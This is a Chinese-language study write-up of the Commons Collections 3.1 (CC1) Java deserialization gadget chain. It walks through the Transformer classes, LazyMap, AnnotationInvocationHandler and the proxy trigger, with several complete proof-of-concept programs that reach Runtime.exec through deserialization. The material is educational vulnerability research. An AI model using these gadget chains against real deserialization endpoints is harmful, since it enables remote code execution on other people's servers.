Map数据结构:
Map是一种把键对象和值对象映射的集合,每一个元素包含一对键对象和值对象。
利用链分析
测试环境:
- jdk1.7(>8u71已修复不再可用
- Commons Collections 3.1
```java
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()
LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
先对后半段进行分析,可见大部分类都调用了其transform方法,可见其继承同一个接口Transformer,其中包含了transform方法,通过实现此接口来达到类型转换的目的,返回一个transormed object--<br /><br />CC链用到实现此接口的类有如下三个:- InvokerTransformer:通过使用其反射来调用某方法- ConstantTransformer:其方法将输入原封不动的返回- ChainedTransformer:其transform方法实现了对每个传入transform都调用其transform方法,并将结果作为下一次的输入传递进去<br />将此三个组合起来即可命令执行。<a name="rgwjK"></a>#### cc1:```javapackage CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;public class cc1 {public static void main(String[] args){ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), //这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果。new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})});chain.transform(123);}}

至此我们已经到 只需要调用transform就能达到rce,我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。
cc2:
LazyMap的get方法#
如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了。
这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值。
但是这里的构造方法并不是public的,所以需要①通过反射的方式来获取到这个构造方法,再创建其实例、②或者利用decorate进行修饰其返回值则为LazyMap的构造方法
package CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;public class cc2 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})});//chain.transform("123"); 以下的操作都是为了自动调用本部操作HashMap innermap = new HashMap();Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");Constructor[] constructors = clazz.getDeclaredConstructors();Constructor constructor = constructors[0];constructor.setAccessible(true); //对LazyMap的protect构造方法进行调用、也可以使用decorate进行修饰调用LazyMap map = (LazyMap)constructor.newInstance(innermap,chain); //将chain对象传递给factory变量map.get(123);}}

这里就可以看到与上方接轨了 实现了间接调用chain.transform方法
cc3:
接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析CC1的前半段链了。
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()

这里的readObject又调用了var4.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。
public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();.......default:Object var6 = this.memberValues.get(var4);.....}
在AnnotatioInvocationHandler的invoke方法里对this.memberValues调用了get方法,如果此时this.memberValues为我们的map,则就会触发LazyMap#get方法,致使完成rce。
package CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.PredicatedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class cc3 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innermap = new HashMap();Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");Constructor[] constructors = clazz.getDeclaredConstructors();Constructor constructor = constructors[0];constructor.setAccessible(true);Map map = (Map)constructor.newInstance(innermap,chain);//map.get(123)Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handlerMap proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象proxy_map.entrySet(); //这里可以调用proxy_map对象的任意一个不会被break的方法即可}}
这里首先对AnnotationInvocationHandler类的构造方法进行调用为了将map类型赋值给this.memberValues,便于后续调用map.get方法。
然后创建一个代理对象,在调用代理对象的任何方法时(视情况而定)都会触发其被代理类的invoke方法。然后就可以执行this.memberValues(map).get方法。
public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else if (var5.length != 0) {throw new AssertionError("Too many parameters for an annotation method");} else {byte var7 = -1;switch(var4.hashCode()) {case -1776922004:if (var4.equals("toString")) {var7 = 0;}break;case 147696667:if (var4.equals("hashCode")) {var7 = 1;}break;case 1444986633:if (var4.equals("annotationType")) {var7 = 2;}}switch(var7) {case 0:return this.toStringImpl();case 1:return this.hashCodeImpl();case 2:return this.type;default:Object var6 = this.memberValues.get(var4);
如上图所示:除调用hashcode与tostring方法外都可以触发其invoke方法。
cc4:
当然除上述方法外:还可以通过再创建一个代理对象来进行触发invoke方法(即使用两个动态代理)。设置两个handler,第一个handler为了触发lazymap#get,而第二个实际上是为了触发代理类所设置handler的invoke方法。
完整的poc如下:
package CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.PredicatedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;public class cc3 {public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})});//chain.transform(123);HashMap innermap = new HashMap();Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");Constructor[] constructors = clazz.getDeclaredConstructors();Constructor constructor = constructors[0];constructor.setAccessible(true);Map map = (Map)constructor.newInstance(innermap,chain);//map.get(123)Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handlerMap proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象//proxy_map.clear();Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));outputStream.writeObject(handler);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}}
questions
- 1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?
因为AnnotationInvocationHandler并不是public类,所以无法直接通过new的方式来创建其实例。
- 2.为什么创建其实例时传入的第一个参数是Override.class?
因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类:
public boolean isAnnotation() {return (getModifiers() & ANNOTATION) != 0;}
而Override.class正是java自带的一个注解类。
为什么再jdk版本8u71后不可用?
Java 8u71以后,这个利⽤链不能再利⽤了,主要原因sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。
简化代码:
package com.serializable;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{ //实例化接口,定义了一个transform方法new ConstantTransformer(Runtime.getRuntime()), //将实例化的Runtime类作为参数传给 继承Transformer接口的ConstantTransformer类new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),//也是一个实现Transformer接口的类,将传入的参数进行赋值,再传入实现的接口方法中};Transformer transformerChain = new ChainedTransformer(transformers); //也继承了Transformer接口的类,将以上实例化的对象(包含了我们要调用的方法函数参命令)作为参数传入传给chainedTransfrmer方法Map innerMap = new HashMap(); //实例化hashMap函数Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //此函数继承了Serializable类,对innerMap的值是否为NUll进行了一个判断,对map数据结构进行一个修饰outerMap.put("test", "xxxx"); //}}
类分析:大致如上代码所示(与ysoserial里面利用的lazyMap利用链 不同
TransformedMap类: TransformedMap用于对Map类的包装修饰。被修饰过的Map在添加新的元素时,将可 以执⾏⼀个“回调”。如上所述,传出的outerMap对象即是修饰后的Map。keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类(可通过反射执行代码的类)。
断点调试进入:
- 进入ConstantTransformer函数,将实例化的Runtime对象赋值给iConstant作为transformers对象数组第一个值

- 进入InvokeTransformer函数,将参数传入该函数赋值给iMethodName,iParamtypes,iArgs参数作为transformers对象数组第二个值

- 进入ChainedTransformer函数,将transformers对象数组赋值给iTransformers作为tansformerChain对象。

- 实例化hashMap对象,修饰Map结构对象,将传入TransformedMap.decorate再次作为参数赋给实例化的TransformedMap对象。。。

- 将传入的参数进行赋值,便于后续做判断,ChainedTransformer的iTransformers对象赋值给valueTransformer参数。

- 最后进入最关键的一步,调用TransformedMap类的put函数即可命令执行。




- 即可执行成功。接下来就来探索一下反序列化利用链如何触发。
